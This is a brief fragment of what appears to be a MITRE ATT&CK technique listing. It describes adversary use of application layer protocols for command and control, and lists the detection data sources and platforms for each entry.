Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre